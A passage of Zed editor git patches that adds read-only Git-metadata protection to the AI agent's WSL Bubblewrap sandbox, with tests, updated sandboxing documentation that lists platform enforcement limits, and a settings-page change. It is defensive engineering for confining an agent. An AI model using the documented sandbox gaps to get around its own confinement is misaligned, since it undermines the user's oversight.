+            path_to_wsl_allowing_missing(path).with_context(|| {
+                format!(
+                    "failed to map writable Git metadata path `{}` into WSL",
+                    path.display()
+                )
+            })
+        })
+        .collect::<Result<Vec<_>>>()?;
+    let protected_git_mappings = protected_git_paths
+        .iter()
+        .map(|path| {
+            path_to_wsl_allowing_missing(path).with_context(|| {
+                format!(
+                    "failed to map protected Git metadata path `{}` into WSL",
+                    path.display()
+                )
+            })
+        })
+        .collect::<Result<Vec<_>>>()?;
 
-    let distro = select_distro(cwd_mapping.as_ref(), &writable_mappings)?;
+    let distro = select_distro(
+        cwd_mapping.as_ref(),
+        writable_mappings
+            .iter()
+            .chain(writable_git_mappings.iter())
+            .chain(protected_git_mappings.iter()),
+    )?;
     let wsl_exe = wsl_exe_path();
     if !wsl_exe.is_file() {
         return Err(unavailable(format!(
@@ -205,23 +237,40 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     let environment = probe_environment(&wsl_exe, distro.as_deref()).await?;
 
     // Resolve all paths (translating native drive-letter paths with `wslpath`
-    // now that the distro is known) and confirm they exist, in a single WSL
-    // round-trip.
+    // now that the distro is known) in a single WSL round-trip. The cwd and
+    // ordinary writable paths must exist; Git paths may be missing because, as
+    // with Linux bwrap, a not-yet-created `.git` placeholder can't be overlaid.
     let has_cwd = cwd_mapping.is_some();
-    let mut mappings = Vec::with_capacity(writable_mappings.len() + 1);
+    let writable_path_count = writable_mappings.len();
+    let writable_git_path_count = writable_git_mappings.len();
+    let mut mappings = Vec::with_capacity(
+        writable_mappings.len() + writable_git_mappings.len() + protected_git_mappings.len() + 1,
+    );
     if let Some(mapping) = cwd_mapping {
-        mappings.push((mapping, "terminal cwd"));
+        mappings.push((mapping, "terminal cwd", true));
     }
     mappings.extend(
         writable_mappings
             .into_iter()
-            .map(|mapping| (mapping, "writable path")),
+            .map(|mapping| (mapping, "writable path", true)),
     );
-    let mut resolved = resolve_paths(&wsl_exe, distro.as_deref(), &mappings)
-        .await?
-        .into_iter();
-    let cwd = if has_cwd { resolved.next() } else { None };
-    let writable_paths: Vec<String> = resolved.collect();
+    mappings.extend(
+        writable_git_mappings
+            .into_iter()
+            .map(|mapping| (mapping, "writable Git metadata path", false)),
+    );
+    mappings.extend(
+        protected_git_mappings
+            .into_iter()
+            .map(|mapping| (mapping, "protected Git metadata path", false)),
+    );
+    let resolved = resolve_paths(&wsl_exe, distro.as_deref(), &mappings).await?;
+    let (cwd, writable_paths, protected_git_paths) = split_resolved_paths(
+        has_cwd,
+        writable_path_count,
+        writable_git_path_count,
+        resolved,
+    )?;
 
     let mut wsl_args = Vec::new();
     if let Some(distro) = distro.as_deref() {
@@ -236,6 +285,7 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     wsl_args.extend(["--exec".to_string(), environment.bwrap_path.clone()]);
     wsl_args.extend(build_bwrap_args(
         &writable_paths,
+        &protected_git_paths,
         permissions,
         cwd.as_deref(),
         environment.mask_interop_dir,
@@ -248,12 +298,51 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     Ok((wsl_exe.to_string_lossy().into_owned(), wsl_args))
 }
 
-fn select_distro(
+fn split_resolved_paths(
+    has_cwd: bool,
+    writable_path_count: usize,
+    writable_git_path_count: usize,
+    resolved: Vec<Option<String>>,
+) -> Result<(Option<String>, Vec<String>, Vec<String>)> {
+    let mut resolved = resolved.into_iter();
+    let cwd = if has_cwd {
+        Some(
+            resolved
+                .next()
+                .context("bug: missing resolved terminal cwd")?
+                .context("bug: required terminal cwd resolved as missing")?,
+        )
+    } else {
+        None
+    };
+
+    let mut writable_paths = Vec::with_capacity(writable_path_count + writable_git_path_count);
+    for _ in 0..writable_path_count {
+        writable_paths.push(
+            resolved
+                .next()
+                .context("bug: missing resolved writable path")?
+                .context("bug: required writable path resolved as missing")?,
+        );
+    }
+    for _ in 0..writable_git_path_count {
+        if let Some(path) = resolved
+            .next()
+            .context("bug: missing resolved writable Git metadata path")?
+        {
+            writable_paths.push(path);
+        }
+    }
+
+    Ok((cwd, writable_paths, resolved.flatten().collect()))
+}
+
+fn select_distro<'a>(
     cwd: Option<&PathMapping>,
-    writable_paths: &[PathMapping],
+    paths: impl IntoIterator<Item = &'a PathMapping>,
 ) -> Result<Option<String>> {
     let mut distro = cwd.and_then(|mapping| mapping.distro().map(str::to_string));
-    for mapping in writable_paths {
+    for mapping in paths {
         let Some(path_distro) = mapping.distro() else {
             continue;
         };
@@ -444,7 +533,7 @@ struct ResolvedPath {
     exists: bool,
 }
 
-/// Resolve path mappings into final WSL paths and confirm they exist.
+/// Resolve path mappings into final WSL paths and confirm required paths exist.
 /// Native drive-letter paths are translated with `wslpath -u` inside the
 /// chosen distro so its actual automount configuration is honored, falling
 /// back to the structural `/mnt/<drive>` mapping when translation fails
@@ -457,33 +546,37 @@ struct ResolvedPath {
 /// handles all cache misses ([`resolve_uncached_paths`]). A hit reuses the
 /// translation — which only changes if the distro's automount configuration
 /// is edited and the distro restarted — and also skips the WSL-side
-/// existence re-check. That staleness is acceptable: native and UNC paths
-/// are still stat'ed on the Windows side on every command (see
-/// [`path_to_wsl`] / [`directory_to_wsl`]), and if a cached path disappears
-/// mid-session bwrap fails closed on the missing bind source rather than
-/// running the command unsandboxed. Failures are not cached, so a missing
-/// path can be created and retried.
+/// existence re-check. That staleness is acceptable: if a cached path
+/// disappears mid-session bwrap fails closed on the missing bind source rather
+/// than running the command unsandboxed. Optional missing paths are not cached,
+/// so a protected Git path can be created and then included by a later command.
 ///
-/// Each mapping is paired with a human-readable description used in errors.
-/// The returned paths are in the same order as `mappings`.
+/// Each mapping is paired with a human-readable description used in errors and
+/// a flag for whether the path is required to exist. The returned paths are in
+/// the same order as `mappings`; optional missing paths are returned as `None`.
 async fn resolve_paths(
     wsl_exe: &Path,
     distro: Option<&str>,
-    mappings: &[(PathMapping, &str)],
-) -> Result<Vec<String>> {
+    mappings: &[(PathMapping, &str, bool)],
+) -> Result<Vec<Option<String>>> {
     type ResolutionCache = HashMap<Option<String>, HashMap<PathMapping, String>>;
     static CACHE: OnceLock<Mutex<ResolutionCache>> = OnceLock::new();
     let cache = CACHE.get_or_init(Default::default);
 
     let distro_key = distro.map(str::to_string);
-    let mut resolved: Vec<Option<String>> = {
+    let mut resolved: Vec<Option<Option<String>>> = {
         let cache = cache
             .lock()
             .unwrap_or_else(|poisoned| poisoned.into_inner());
         let per_distro = cache.get(&distro_key);
         mappings
             .iter()
-            .map(|(mapping, _)| per_distro.and_then(|cached| cached.get(mapping)).cloned())
+            .map(|(mapping, _, _)| {
+                per_distro
+                    .and_then(|cached| cached.get(mapping))
+                    .cloned()
+                    .map(Some)
+            })
             .collect()
     };
 
@@ -491,7 +584,7 @@ async fn resolve_paths(
         .filter(|&index| resolved[index].is_none())
         .collect();
     if !misses.is_empty() {
-        let miss_mappings: Vec<&(PathMapping, &str)> =
+        let miss_mappings: Vec<&(PathMapping, &str, bool)> =
             misses.iter().map(|&index| &mappings[index]).collect();
         let miss_resolved = resolve_uncached_paths(wsl_exe, distro, &miss_mappings).await?;
         let mut cache = cache
@@ -499,15 +592,18 @@ async fn resolve_paths(
             .unwrap_or_else(|poisoned| poisoned.into_inner());
         let per_distro = cache.entry(distro_key).or_default();
         for (&index, path) in misses.iter().zip(miss_resolved) {
-            per_distro.insert(mappings[index].0.clone(), path.clone());
+            if let Some(path) = &path {
+                per_distro.insert(mappings[index].0.clone(), path.clone());
+            }
             resolved[index] = Some(path);
         }
     }
 
-    resolved
-        .into_iter()
-        .collect::<Option<Vec<_>>>()
-        .context("bug: a path mapping was left unresolved")
+    let mut paths = Vec::with_capacity(resolved.len());
+    for path in resolved {
+        paths.push(path.context("bug: a path mapping was left unresolved")?);
+    }
+    Ok(paths)
 }
 
 /// Resolve and existence-check mappings that weren't in the cache, in a
@@ -516,8 +612,8 @@ async fn resolve_paths(
 async fn resolve_uncached_paths(
     wsl_exe: &Path,
     distro: Option<&str>,
-    mappings: &[&(PathMapping, &str)],
-) -> Result<Vec<String>> {
+    mappings: &[&(PathMapping, &str, bool)],
+) -> Result<Vec<Option<String>>> {
     let mut args = vec![
         "--exec".to_string(),
         "sh".to_string(),
@@ -527,7 +623,7 @@ async fn resolve_uncached_paths(
         "zed-resolve-paths".to_string(),
     ];
     args.extend(path_resolution_args(
-        mappings.iter().map(|(mapping, _)| mapping),
+        mappings.iter().map(|mapping| &mapping.0),
     ));
     let output = run_wsl_command(wsl_exe, distro, &args, "resolve sandbox paths").await?;
     if !output.status.success() {
@@ -549,7 +645,7 @@ async fn resolve_uncached_paths(
     mappings
         .iter()
         .zip(resolved)
-        .map(|((mapping, description), resolved)| {
+        .map(|((mapping, description, required), resolved)| {
             if resolved.used_fallback
                 && let PathMapping::NativeDrive { windows_path, .. } = mapping
             {
@@ -560,16 +656,21 @@ async fn resolve_uncached_paths(
                     resolved.path
                 );
             }
-            // A bad request (the path simply isn't there), not an
-            // environment problem — the model can create it or fix the path
-            // and retry, so no `WSL_SANDBOX_UNAVAILABLE_PREFIX`.
-            ensure!(
-                resolved.exists,
-                "mapped {description} `{}` does not exist in {}",
-                resolved.path,
-                wsl_distro_label(distro)
-            );
-            Ok(resolved.path)
+            if !resolved.exists {
+                // A bad request (the path simply isn't there), not an
+                // environment problem — the model can create it or fix the path
+                // and retry, so no `WSL_SANDBOX_UNAVAILABLE_PREFIX`. Protected
+                // Git paths are allowed to be absent, matching Linux bwrap's
+                // behavior: a missing path cannot be overlaid, so it is skipped.
+                ensure!(
+                    !required,
+                    "mapped {description} `{}` does not exist in {}",
+                    resolved.path,
+                    wsl_distro_label(distro)
+                );
+                return Ok(None);
+            }
+            Ok(Some(resolved.path))
         })
         .collect()
 }
@@ -709,6 +810,7 @@ fn wsl_exe_path() -> PathBuf {
 
 fn build_bwrap_args<S: std::hash::BuildHasher>(
     writable_paths: &[String],
+    protected_git_paths: &[String],
     permissions: SandboxPermissions,
     cwd: Option<&str>,
     mask_interop_dir: bool,
@@ -724,6 +826,12 @@ fn build_bwrap_args<S: std::hash::BuildHasher>(
         for path in writable_paths {
             push_bind(&mut args, "--bind", path, path);
         }
+        // Protect Git metadata by re-binding it read-only over the writable
+        // worktree binds above (order matters: later binds win). When Git access
+        // is granted these paths are included in `writable_paths` instead.
+        for path in protected_git_paths {
+            push_bind(&mut args, "--ro-bind", path, path);
+        }
     }
 
     // Block WSL's Windows interop, regardless of the requested permissions.
@@ -893,6 +1001,14 @@ fn path_to_wsl(path: &Path) -> Result<PathMapping> {
     map_path_to_wsl(path)
 }
 
+fn path_to_wsl_allowing_missing(path: &Path) -> Result<PathMapping> {
+    let path_string = path.to_string_lossy();
+    if let Ok(path) = parse_wsl_absolute_path(&path_string) {
+        return Ok(PathMapping::Wsl(path));
+    }
+    map_path_to_wsl(path)
+}
+
 fn map_path_to_wsl(path: &Path) -> Result<PathMapping> {
     let path_string = path.to_string_lossy();
     if let Ok(path) = parse_wsl_unc_path(&path_string) {
@@ -984,6 +1100,8 @@ mod tests {
             String::new(),
             Vec::new(),
             Vec::new(),
+            Vec::new(),
+            Vec::new(),
             SandboxPermissions::default(),
             None,
             HashMap::<String, String>::new(),
@@ -1123,10 +1241,53 @@ mod tests {
         assert!(guard_index < smoke_test_index);
     }
 
+    #[test]
+    fn split_resolved_paths_keeps_existing_writable_git_paths_and_skips_missing_ones() {
+        let (cwd, writable_paths, protected_git_paths) = split_resolved_paths(
+            true,
+            1,
+            2,
+            vec![
+                Some("/home/me/project".to_string()),
+                Some("/home/me/project".to_string()),
+                None,
+                Some("/home/me/project/.git".to_string()),
+                None,
+                Some("/mnt/c/external/.git".to_string()),
+            ],
+        )
+        .unwrap();
+
+        assert_eq!(cwd.as_deref(), Some("/home/me/project"));
+        assert_eq!(
+            writable_paths,
+            vec![
+                "/home/me/project".to_string(),
+                "/home/me/project/.git".to_string()
+            ]
+        );
+        assert_eq!(
+            protected_git_paths,
+            vec!["/mnt/c/external/.git".to_string()]
+        );
+    }
+
+    #[test]
+    fn split_resolved_paths_rejects_missing_required_writable_paths() {
+        let error = split_resolved_paths(false, 1, 0, vec![None]).unwrap_err();
+        assert!(
+            error
+                .to_string()
+                .contains("required writable path resolved as missing"),
+            "unexpected error: {error:#}"
+        );
+    }
+
     #[test]
     fn bwrap_denies_network_by_default() {
         let args = build_bwrap_args(
             &["/home/me/project".to_string()],
+            &[],
             SandboxPermissions::default(),
             Some("/home/me/project"),
             true,
@@ -1142,6 +1303,7 @@ mod tests {
     #[test]
     fn bwrap_allows_network_when_requested() {
         let args = build_bwrap_args(
+            &[],
             &[],
             SandboxPermissions {
                 allow_network: true,
@@ -1158,6 +1320,7 @@ mod tests {
     fn bwrap_binds_explicit_writable_file_paths() {
         let args = build_bwrap_args(
             &["/mnt/c/Users/me/AppData/Roaming/Zed/AGENTS.md".to_string()],
+            &[],
             SandboxPermissions::default(),
             None,
             true,
@@ -1171,10 +1334,60 @@ mod tests {
             ]));
     }
 
+    #[test]
+    fn bwrap_protects_git_paths_after_writable_paths() {
+        let args = build_bwrap_args(
+            &["/home/me/project".to_string()],
+            &["/home/me/project/.git".to_string()],
+            SandboxPermissions::default(),
+            Some("/home/me/project"),
+            true,
+            &HashMap::new(),
+        );
+        let writable_index = args
+            .windows(3)
+            .position(|window| window == ["--bind", "/home/me/project", "/home/me/project"])
+            .expect("project should be writable");
+        let protected_index = args
+            .windows(3)
+            .position(|window| {
+                window
+                    == [
+                        "--ro-bind",
+                        "/home/me/project/.git",
+                        "/home/me/project/.git",
+                    ]
+            })
+            .expect("Git metadata should be protected read-only");
+        assert!(protected_index > writable_index);
+    }
+
+    #[test]
+    fn bwrap_skips_git_protection_when_fs_writes_are_unrestricted() {
+        let args = build_bwrap_args(
+            &[],
+            &["/home/me/project/.git".to_string()],
+            SandboxPermissions {
+                allow_network: false,
+                allow_fs_write: true,
+            },
+            None,
+            true,
+            &HashMap::new(),
+        );
+        assert!(!args.windows(3).any(|window| window
+            == [
+                "--ro-bind",
+                "/home/me/project/.git",
+                "/home/me/project/.git"
+            ]));
+    }
+
     #[test]
     fn bwrap_blocks_wsl_interop_by_default() {
         let args = build_bwrap_args(
             &["/home/me/project".to_string()],
+            &[],
             SandboxPermissions::default(),
             Some("/home/me/project"),
             true,
@@ -1193,6 +1406,7 @@ mod tests {
     #[test]
     fn bwrap_blocks_wsl_interop_even_with_fs_write() {
         let args = build_bwrap_args(
+            &[],
             &[],
             SandboxPermissions {
                 allow_network: true,
@@ -1222,6 +1436,7 @@ mod tests {
         // so the mount must be omitted. Unsetting the variable is harmless and
         // stays.
         let args = build_bwrap_args(
+            &[],
             &[],
             SandboxPermissions::default(),
             None,
@@ -1241,7 +1456,7 @@ mod tests {
             ("PAGER".to_string(), String::new()),
             ("CARGO_TERM_COLOR".to_string(), "always".to_string()),
         ]);
-        let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
+        let args = build_bwrap_args(&[], &[], SandboxPermissions::default(), None, false, &env);
         assert!(
             args.windows(3)
                 .any(|window| window == ["--setenv", "PAGER", ""])
@@ -1262,7 +1477,7 @@ mod tests {
             ("WsLeNv".to_string(), "WSL_INTEROP/u".to_string()),
             ("PAGER".to_string(), String::new()),
         ]);
-        let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
+        let args = build_bwrap_args(&[], &[], SandboxPermissions::default(), None, false, &env);
 
         assert!(
             args.windows(2)
@@ -1333,7 +1548,7 @@ mod tests {
             ("PROCESSOR_ARCHITECTURE".to_string(), "AMD64".to_string()),
             ("NUMBER_OF_PROCESSORS".to_string(), "16".to_string()),
         ]);
-        let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
+        let args = build_bwrap_args(&[], &[], SandboxPermissions::default(), None, false, &env);
         assert!(!args.iter().any(|arg| arg == "--setenv"));
     }
 
@@ -1346,7 +1561,7 @@ mod tests {
             ("LANG".to_string(), "en_US.UTF-8".to_string()),
             ("CARGO_TERM_COLOR".to_string(), "always".to_string()),
         ]);
-        let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
+        let args = build_bwrap_args(&[], &[], SandboxPermissions::default(), None, false, &env);
         assert!(
             args.windows(3)
                 .any(|window| window == ["--setenv", "LANG", "en_US.UTF-8"])
@@ -1373,7 +1588,7 @@ mod tests {
             (String::new(), "value".to_string()),
             ("OK".to_string(), "value".to_string()),
         ]);
-        let args = build_bwrap_args(&[], SandboxPermissions::default(), None, false, &env);
+        let args = build_bwrap_args(&[], &[], SandboxPermissions::default(), None, false, &env);
         assert!(
             args.windows(3)
                 .any(|window| window == ["--setenv", "OK", "value"])
diff --git a/docs/src/ai/sandboxing.md b/docs/src/ai/sandboxing.md
index f6028111542c43..2b77863594b178 100644
--- a/docs/src/ai/sandboxing.md
+++ b/docs/src/ai/sandboxing.md
@@ -9,14 +9,18 @@ You can restrict what operations the [Zed Agent](./zed-agent.md) can run in mult
 [Tool Permissions](./tool-permissions.md), but these are of limited use when the agent wants to do things like run a
 complicated script in a terminal.
 
-Sandboxing runs certain tool actions in an OS-level sandbox which limits filesystem access, network access, and access to protected Git metadata. This way, even if the agent wants to run an arbitrary script, that script will only be able to write to the files and folders you have allowed it to. You can similarly restrict network and Git metadata access in sandboxed tool actions.
+Sandboxing runs certain tool actions in an OS-level sandbox which limits filesystem access, network access, and access to
+protected Git metadata. This way, even if the agent wants to run an arbitrary script, that script will only be able to
+write to the files and folders you have allowed it to. You can similarly restrict network and Git metadata access in
+sandboxed tool actions.
 
 [Tool Permissions](./tool-permissions.md) can be used in addition to sandboxing:
 
 - Tool permissions restrict the agent's ability to run certain tool actions in the first place
 - Once a tool action is actually running, sandboxing restricts what it can do
 
-Sandboxing applies only to Zed Agent. It does not sandbox Zed itself, language servers, extensions, tasks, your normal terminal tabs, [External Agents](./external-agents.md), or [Terminal Threads](./terminal-threads.md).
+Sandboxing applies only to Zed Agent. It does not sandbox Zed itself, language servers, extensions, tasks, your normal
+terminal tabs, [External Agents](./external-agents.md), or [Terminal Threads](./terminal-threads.md).
 
 ## Sandboxed Tools {#sandboxed-tools}
 
@@ -26,20 +30,21 @@ Zed Agent sandboxing currently applies to the `terminal` tool.
 | ---------- | --------------------------------------------------------------------------------------------------- |
 | `terminal` | Filesystem writes, protected Git metadata, and outbound network access for commands the agent runs. |
 
-Other built-in tools, including `fetch`, are still governed by [Tool Permissions](./tool-permissions.md), [Agent Profiles](./agent-profiles.md), and project trust, but they are not currently run inside this OS sandbox.
+Other built-in tools, including `fetch`, are still governed by [Tool Permissions](./tool-permissions.md),
+[Agent Profiles](./agent-profiles.md), and project trust, but they are not currently run inside this OS sandbox.
 
 ## Default Access {#default-access}
 
 By default, sandboxed Zed Agent tool actions have these restrictions:
 
-| Access type         | Default behavior                                                                                          |
-| ------------------- | --------------------------------------------------------------------------------------------------------- |
-| Filesystem reads    | Terminal commands can read the filesystem, except for protected Git metadata file contents.               |
-| Project writes      | Terminal commands can write inside open project directories, except for protected Git metadata.           |
-| Git metadata        | `.git` directories and linked worktree Git metadata are protected unless you approve Git metadata access. |
-| Temporary files     | Terminal commands receive a writable temporary location. The exact behavior differs by platform.          |
-| Other writes        | Writes outside the default writable locations are blocked unless you approve a broader sandbox request.   |
-| Outbound networking | Network access is blocked unless you approve a host-specific or unrestricted network sandbox request.     |
+| Access type         | Default behavior                                                                                                                                                    |
+| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Filesystem reads    | Terminal commands can read most of the filesystem. Protected Git metadata file contents are hidden on macOS; on Linux and Windows/WSL they remain readable.         |
+| Project writes      | Terminal commands can write inside open project directories, except for protected Git metadata.                                                                     |
+| Git metadata        | `.git` directories and linked worktree Git metadata are protected unless you approve Git metadata access. Protection details differ by platform, described below.   |
+| Temporary files     | Terminal commands receive a writable temporary location. The exact behavior differs by platform.                                                                    |
+| Other writes        | Writes outside the default writable locations are blocked unless you approve a broader sandbox request.                                                             |
+| Outbound networking | Network access is blocked unless you approve a host-specific or unrestricted network sandbox request. Host-specific enforcement is not available on every platform. |
 
 ## Approval Prompts {#approval-prompts}
 
@@ -59,8 +64,8 @@ You can grant a sandbox request for:
 - the rest of the current thread
 - always
 
-Approvals for the rest of the thread are remembered only for that thread.
-Approvals granted with “always” are saved in `settings.json` under `agent.sandbox_permissions`.
+Approvals for the rest of the thread are remembered only for that thread. Approvals granted with “always” are saved in
+`settings.json` under `agent.sandbox_permissions`.
 
 ## Persistent Sandbox Permissions {#persistent-sandbox-permissions}
 
@@ -89,12 +94,13 @@ The available options are:
 | `allow_fs_write_all` | Allow sandboxed terminal commands to write anywhere without prompting.                                            |
 | `allow_unsandboxed`  | Allow terminal commands to run outside the sandbox without prompting when the agent explicitly requests it.       |
 
-Prefer narrow grants, such as a specific host, Git metadata access, or write path, over `allow_all_hosts`, `allow_fs_write_all`, or `allow_unsandboxed`.
+Prefer narrow grants, such as a specific host, Git metadata access, or write path, over `allow_all_hosts`,
+`allow_fs_write_all`, or `allow_unsandboxed`.
 
 ## Platform Support {#platform-support}
 
-Sandboxing uses different operating system mechanisms on each platform.
-The user-facing prompts are similar, but the enforcement details vary.
+Sandboxing uses different operating system mechanisms on each platform. The user-facing prompts are similar, but the
+enforcement details vary.
 
 ### macOS {#macos}
 
@@ -117,52 +123,59 @@ For networked terminal commands, prefer HTTPS URLs over SSH URLs when possible.
 
 On Linux, Zed uses Bubblewrap (`bwrap`) for sandboxing.
 
-Zed only uses a non-setuid `bwrap` binary.
-Its sandbox is built entirely on unprivileged user namespaces, so a setuid-root `bwrap` provides no extra functionality, and running one would mean executing root-privileged setup with arguments partly derived from model-influenced input.
-If the only `bwrap` found on your `PATH` is setuid-root, Zed refuses to run it; install a non-setuid Bubblewrap to enable sandboxing.
+Zed only uses a non-setuid `bwrap` binary. Its sandbox is built entirely on unprivileged user namespaces, so a setuid-root
+`bwrap` provides no extra functionality, and running one would mean executing root-privileged setup with arguments partly
+derived from model-influenced input. If the only `bwrap` found on your `PATH` is setuid-root, Zed refuses to run it;
+install a non-setuid Bubblewrap to enable sandboxing.
 
 Sandboxed terminal commands:
 
-- can read the filesystem
+- can read the filesystem, including protected Git metadata contents
 - can write inside open project directories, except protected Git metadata
 - can write to `/tmp`, which is backed by a fresh temporary filesystem and is cleared between terminal tool calls
-- cannot read or write protected Git metadata unless you approve Git metadata access
+- cannot write protected Git metadata unless you approve Git metadata access
 - cannot write elsewhere unless you approve additional paths or broader write access
 - cannot reach the network unless you approve network access
 
-Linux network sandboxing can allow or block outbound networking as a whole, but cannot enforce a per-host allowlist.
-If you approve network access for one host on Linux, the sandbox must grant unrestricted outbound network access for that tool action.
-Zed still asks for the narrower request when that is what the agent asked for, but the platform enforcement is all-or-nothing.
+When host-specific network access is approved on Linux, Zed uses an HTTP/HTTPS proxy so access can be limited to approved
+hosts. Tools that do not honor proxy environment variables, such as SSH, FTP, and raw socket clients, may not work even
+after host-specific network access is approved.
 
-If Bubblewrap is unavailable or cannot create a sandbox in the current environment, Zed may run the command without the OS sandbox and show a warning in the tool output.
+If Bubblewrap is unavailable or cannot create a sandbox in the current environment, Zed may run the command without the OS
+sandbox and show a warning in the tool output.
 
 ### Windows {#windows}
 
 On Windows, Zed Agent sandboxing is supported only when the agent action runs inside WSL.
 
-Zed uses the Linux Bubblewrap sandbox inside WSL because WSL provides the Linux process and filesystem primitives that Bubblewrap needs.
-Native Windows processes do not currently have the same sandbox integration in Zed, so a native Windows command cannot be confined by Zed Agent's OS sandbox in the same way.
+Zed uses the Linux Bubblewrap sandbox inside WSL because WSL provides the Linux process and filesystem primitives that
+Bubblewrap needs. Native Windows processes do not currently have the same sandbox integration in Zed, so a native Windows
+command cannot be confined by Zed Agent's OS sandbox in the same way.
 
 When running inside WSL, the Linux sandboxing behavior applies, including the requirement that `bwrap` not be setuid-root:
 
 - filesystem isolation is provided by Bubblewrap
-- protected Git metadata requires Git metadata access approval
+- protected Git metadata contents remain readable, but writes are blocked unless you approve Git metadata access
 - `/tmp` is temporary for sandboxed terminal calls
 - network access is all-or-nothing rather than host-specific
 
-If WSL is not installed, or if you choose to run a command without the sandbox, Zed falls back to the standard terminal behavior of running in your native shell.
-It selects the shell using the usual preference order: Git Bash (or scoop's bash) when one is installed, otherwise PowerShell, and finally `cmd.exe`.
-Because the command then runs against native Windows paths instead of WSL's Linux filesystem, path conventions change accordingly (for example `C:\...` or `/c/...` rather than WSL's `/mnt/c/...`), so a command written for the sandboxed WSL shell may behave differently.
+If WSL is not installed, or if you choose to run a command without the sandbox, Zed falls back to the standard terminal
+behavior of running in your native shell. It selects the shell using the usual preference order: Git Bash (or scoop's
+bash) when one is installed, otherwise PowerShell, and finally `cmd.exe`. Because the command then runs against native
+Windows paths instead of WSL's Linux filesystem, path conventions change accordingly (for example `C:\...` or `/c/...`
+rather than WSL's `/mnt/c/...`), so a command written for the sandboxed WSL shell may behave differently.
 
 ## Choosing What to Approve {#choosing-what-to-approve}
 
 When reviewing a sandbox prompt, prefer the narrowest permission that lets the task proceed:
 
 - approve a specific host instead of all hosts when the destination is known
-- approve Git metadata access when the command needs to run Git operations such as `git fetch`, `git commit`, or `git status`
+- approve Git metadata access when the command needs to run Git operations such as `git fetch`, `git commit`, or
+  `git status`
 - approve a specific write path instead of unrestricted filesystem writes
 - approve unsandboxed execution only when the command cannot work inside the sandbox
 - use one-time approvals for unfamiliar commands
 - use thread or always approvals only for access you expect to reuse
 
-If a command fails because the sandbox blocked access, ask the agent why it needs that access before approving a broader request.
+If a command fails because the sandbox blocked access, ask the agent why it needs that access before approving a broader
+request.

From 3eb9bf2d217e51119113c13b08815c774b6405ef Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Mon, 29 Jun 2026 12:06:35 +0200
Subject: [PATCH 152/772] settings_ui: Move MCP server timeout setting to MCP
 subpage (#60069)

This moves the MCP timeout setting to the MCP subpage, instead of
rendering it in a separate section called "Context Servers"

Before:

<img width="896" height="332" alt="image"
src="https://github.com/user-attachments/assets/edf6e681-4bad-43f5-89b0-3e8228f74f7a"
/>

After:

<img width="660" height="222" alt="image"
src="https://github.com/user-attachments/assets/7b2bfbea-f0c7-4419-8d06-dfc7d7f740e8"
/>


Release Notes:

- N/A
---
 crates/settings_ui/src/page_data.rs           | 29 ++++++++++++-----
 .../settings_ui/src/pages/mcp_servers_page.rs | 31 +++++++++++++++++--
 2 files changed, 50 insertions(+), 10 deletions(-)

diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index f8de55b07bb621..5434016c50cbb1 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -8463,15 +8463,30 @@ fn ai_page(cx: &App) -> SettingsPage {
         })]
     }
 
+    use feature_flags::FeatureFlagAppExt as _;
+
+    // When the agent settings UI is enabled, the context server timeout is shown
+    // inside the MCP Servers sub-page. Otherwise it remains a standalone section
+    // here so it stays reachable.
+    let agent_settings_ui_enabled = cx.has_flag::<feature_flags::AgentSettingsUiFeatureFlag>();
+
+    let mut items = concat_sections!(
+        @vec,
+        general_section(),
+        agent_configuration_section(cx),
+    );
+    if !agent_settings_ui_enabled {
+        items.extend(context_servers_section());
+    }
+    items.extend(concat_sections!(
+        @vec,
+        edit_prediction_language_settings_section(),
+        edit_prediction_display_sub_section(),
+    ));
+
     SettingsPage {
         title: "AI",
-        items: concat_sections![
-            general_section(),
-            agent_configuration_section(cx),
-            context_servers_section(),
-            edit_prediction_language_settings_section(),
-            edit_prediction_display_sub_section()
-        ],
+        items: items.into(),
     }
 }
 
diff --git a/crates/settings_ui/src/pages/mcp_servers_page.rs b/crates/settings_ui/src/pages/mcp_servers_page.rs
index e85f8ea16576dd..bebf1e795ce0ac 100644
--- a/crates/settings_ui/src/pages/mcp_servers_page.rs
+++ b/crates/settings_ui/src/pages/mcp_servers_page.rs
@@ -18,7 +18,7 @@ use util::ResultExt as _;
 
 use zed_actions::ExtensionCategoryFilter;
 
-use crate::SettingsWindow;
+use crate::{PROJECT, SettingField, SettingItem, SettingsPageItem, SettingsWindow, USER};
 
 pub(crate) fn render_mcp_servers_page(
     settings_window: &SettingsWindow,
@@ -40,19 +40,20 @@ pub(crate) fn render_mcp_servers_page(
         render_no_project_state(cx)
     };
 
+    let timeout_setting = render_context_server_timeout(settings_window, window, cx);
     let add_server_popover = render_add_server_popover(settings_window, window, cx);
 
     v_flex()
         .id("mcp-servers-page")
         .size_full()
         .pt_2p5()
-        .px_8()
         .pb_16()
         .track_scroll(scroll_handle)
         .overflow_y_scroll()
         .child(
             h_flex()
                 .w_full()
+                .px_8()
                 .justify_between()
                 .items_center()
                 .mb_4()
@@ -67,10 +68,34 @@ pub(crate) fn render_mcp_servers_page(
                 )
                 .child(add_server_popover),
         )
-        .child(server_list)
+        .child(div().px_8().child(server_list))
+        .child(timeout_setting)
         .into_any_element()
 }
 
+fn render_context_server_timeout(
+    settings_window: &SettingsWindow,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) -> AnyElement {
+    let item = SettingsPageItem::SettingItem(SettingItem {
+        title: "MCP Server Timeout",
+        description: "Default timeout in seconds for MCP server tool calls.",
+        field: Box::new(SettingField {
+            organization_override: None,
+            json_path: Some("context_server_timeout"),
+            pick: |settings_content| settings_content.project.context_server_timeout.as_ref(),
+            write: |settings_content, value, _| {
+                settings_content.project.context_server_timeout = value;
+            },
+        }),
+        metadata: None,
+        files: USER | PROJECT,
+    });
+
+    item.render(settings_window, 0, false, false, window, cx)
+}
+
 fn get_context_server_store(
     settings_window: &SettingsWindow,
     cx: &App,

